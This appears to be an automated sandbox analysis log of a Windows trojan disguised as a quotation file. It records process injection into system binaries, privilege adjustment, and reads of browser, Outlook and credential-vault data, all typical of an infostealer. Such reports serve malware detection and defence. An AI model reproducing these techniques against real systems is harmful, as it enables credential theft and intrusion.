Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393AD00	1_2_0393AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940D69	1_2_03940D69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03958CDF	1_2_03958CDF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A0ACEB	1_2_03A0ACEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930C12	1_2_03930C12
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394AC20	1_2_0394AC20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BEC20	1_2_039BEC20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EEC4C	1_2_039EEC4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F6C69	1_2_039F6C69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FEC60	1_2_039FEC60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03931380	1_2_03931380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FF330	1_2_039FF330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392D2EC	1_2_0392D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F124C	1_2_039F124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039451C0	1_2_039451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395B1E0	1_2_0395B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392F113	1_2_0392F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DD130	1_2_039DD130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0398717A	1_2_0398717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397508C	1_2_0397508C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394B0D0	1_2_0394B0D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F70F1	1_2_039F70F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FF6F6	1_2_039FF6F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B36EC	1_2_039B36EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DD62C	1_2_039DD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039ED646	1_2_039ED646
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FF5C9	1_2_039FF5C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F75C6	1_2_039F75C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D5490	1_2_039D5490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AD480	1_2_039AD480
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D1B80	1_2_039D1B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397DB19	1_2_0397DB19
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFB2E	1_2_039FFB2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFA89	1_2_039FFA89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395FAA0	1_2_0395FAA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039859C0	1_2_039859C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039099E8	1_2_039099E8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B98B2	1_2_039B98B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F18DA	1_2_039F18DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F78F3	1_2_039F78F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03943800	1_2_03943800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03949870	1_2_03949870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395B870	1_2_0395B870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B5870	1_2_039B5870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FF872	1_2_039FF872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F1FC6	1_2_039F1FC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BFF40	1_2_039BFF40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFF63	1_2_039FFF63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03941EB2	1_2_03941EB2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F9ED2	1_2_039F9ED2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03949DD0	1_2_03949DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DFDF4	1_2_039DFDF4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FFD27	1_2_039FFD27
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F7D4C	1_2_039F7D4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D9C98	1_2_039D9C98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C7CE8	1_2_039C7CE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395FCE0	1_2_0395FCE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03943C60	1_2_03943C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8E373	1_2_03C8E373
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8E255	1_2_03C8E255
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8D7D8	1_2_03C8D7D8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8E714	1_2_03C8E714
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C8CA88	1_2_03C8CA88
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 2_2_0347E373	2_2_0347E373
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 2_2_0347E714	2_2_0347E714
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 2_2_0347D7D8	2_2_0347D7D8
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 2_2_0347E255	2_2_0347E255
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 2_2_0347CA88	2_2_0347CA88
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0376E310	3_2_0376E310
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03722245	3_2_03722245
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0382010E	3_2_0382010E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037500A0	3_2_037500A0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0380E076	3_2_0380E076
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03762760	3_2_03762760
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0376A760	3_2_0376A760
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03816757	3_2_03816757
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03784670	3_2_03784670
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381A6C0	3_2_0381A6C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0377C600	3_2_0377C600
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0375C6E0	3_2_0375C6E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03760680	3_2_03760680
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0382A526	3_2_0382A526
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03760445	3_2_03760445
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03760B10	3_2_03760B10
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037D4BC0	3_2_037D4BC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03802AC0	3_2_03802AC0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381CA13	3_2_0381CA13
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381EA5B	3_2_0381EA5B
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381E9A6	3_2_0381E9A6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0375E9A0	3_2_0375E9A0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03746868	3_2_03746868
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0378E810	3_2_0378E810
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03800835	3_2_03800835
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037628C0	3_2_037628C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037FC89F	3_2_037FC89F
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03776882	3_2_03776882
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381EFBF	3_2_0381EFBF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0376CF00	3_2_0376CF00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03766FE0	3_2_03766FE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03780E50	3_2_03780E50
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03810EAD	3_2_03810EAD
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037A2E48	3_2_037A2E48
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03752EE8	3_2_03752EE8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03800E6D	3_2_03800E6D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03760D69	3_2_03760D69
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0375AD00	3_2_0375AD00
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03772DB0	3_2_03772DB0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0376AC20	3_2_0376AC20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037DEC20	3_2_037DEC20
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03750C12	3_2_03750C12
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0382ACEB	3_2_0382ACEB
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03778CDF	3_2_03778CDF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0380EC4C	3_2_0380EC4C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381EC60	3_2_0381EC60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03816C69	3_2_03816C69
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381F330	3_2_0381F330
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03751380	3_2_03751380
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0374D2EC	3_2_0374D2EC
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381124C	3_2_0381124C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037A717A	3_2_037A717A
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037FD130	3_2_037FD130
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0374F113	3_2_0374F113
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0377B1E0	3_2_0377B1E0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037651C0	3_2_037651C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03829143	3_2_03829143
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_038170F1	3_2_038170F1
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0376B0D0	3_2_0376B0D0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0379508C	3_2_0379508C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03721707	3_2_03721707
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037FD62C	3_2_037FD62C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381F6F6	3_2_0381F6F6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037D36EC	3_2_037D36EC
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03801623	3_2_03801623
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0380D646	3_2_0380D646
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037A5550	3_2_037A5550
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_038175C6	3_2_038175C6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381F5C9	3_2_0381F5C9
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037F5490	3_2_037F5490
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037CD480	3_2_037CD480
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0379DB19	3_2_0379DB19
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381FB2E	3_2_0381FB2E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037F1B80	3_2_037F1B80
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381FA89	3_2_0381FA89
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0377FAA0	3_2_0377FAA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037299E8	3_2_037299E8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037A59C0	3_2_037A59C0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03769870	3_2_03769870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0377B870	3_2_0377B870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037D5870	3_2_037D5870
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_038118DA	3_2_038118DA
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_038178F3	3_2_038178F3
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03763800	3_2_03763800
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037D98B2	3_2_037D98B2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381F872	3_2_0381F872
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03803FA0	3_2_03803FA0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037DFF40	3_2_037DFF40
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03811FC6	3_2_03811FC6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381FF63	3_2_0381FF63
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03819ED2	3_2_03819ED2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03761EB2	3_2_03761EB2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037FFDF4	3_2_037FFDF4
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03813D22	3_2_03813D22
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03769DD0	3_2_03769DD0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0381FD27	3_2_0381FD27
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03817D4C	3_2_03817D4C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_03763C60	3_2_03763C60
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037E7CE8	3_2_037E7CE8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0377FCE0	3_2_0377FCE0
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_037F9C98	3_2_037F9C98
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0347EF38	3_2_0347EF38
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0347E373	3_2_0347E373
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0347E255	3_2_0347E255
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0347E714	3_2_0347E714
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0347D7D8	3_2_0347D7D8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 3_2_0347CA88	3_2_0347CA88

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: String function: 00639CB3 appears 31 times
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: String function: 0064F9F2 appears 40 times
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: String function: 00650A30 appears 46 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03975050 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 039AE692 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03987BE4 appears 101 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0392B910 appears 275 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 039BEF10 appears 105 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 03795050 appears 58 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 037CE692 appears 86 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 0374B910 appears 280 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 037A7BE4 appears 111 times
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: String function: 037DEF10 appears 105 times

Source: QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11151732292.0000000003B53000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION#070125-ELITE MARINE .exe
Source: QUOTATION#070125-ELITE MARINE .exe, 00000000.00000003.11153728744.0000000003EFD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs QUOTATION#070125-ELITE MARINE .exe

Source: QUOTATION#070125-ELITE MARINE .exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@18/12

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006A37B5 GetLastError,FormatMessageW,

0_2_006A37B5

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006910BF AdjustTokenPrivileges,CloseHandle,		0_2_006910BF
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Code function: 0_2_006916C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_006916C3

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006A51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_006A51CD

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006BA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_006BA67C

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006A648E CoInitialize,CoCreateInstance,CoUninitialize,

0_2_006A648E

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Code function: 0_2_006342A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_006342A2

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

File created: C:\Users\user\AppData\Local\Temp\scroll

Source: QUOTATION#070125-ELITE MARINE .exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: cmdkey.exe, 00000003.00000003.11918930615.0000000008080000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15249022133.000000000808A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: cmdkey.exe, 00000003.00000003.11916406824.00000000031F5000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11911162884.00000000031F5000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11916406824.00000000031D4000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000002.15244350653.00000000031F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: cmdkey.exe, 00000003.00000002.15244350653.0000000003255000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000003.00000003.11922384899.00000000080E6000.00000004.00000020.00020000.00000000.sdmp, b427-I_1.3.dr	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: QUOTATION#070125-ELITE MARINE .exe

ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe "C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe"
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe"
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe"	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#070125-ELITE MARINE .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\SysWOW64\cmdkey.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\cmdkey.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: QUOTATION#070125-ELITE MARINE .exe

Static file information: File size 1749504 > 1048576

Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: QUOTATION#070125-ELITE MARINE .exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: QUOTATION#070125-ELITE MARINE .exe

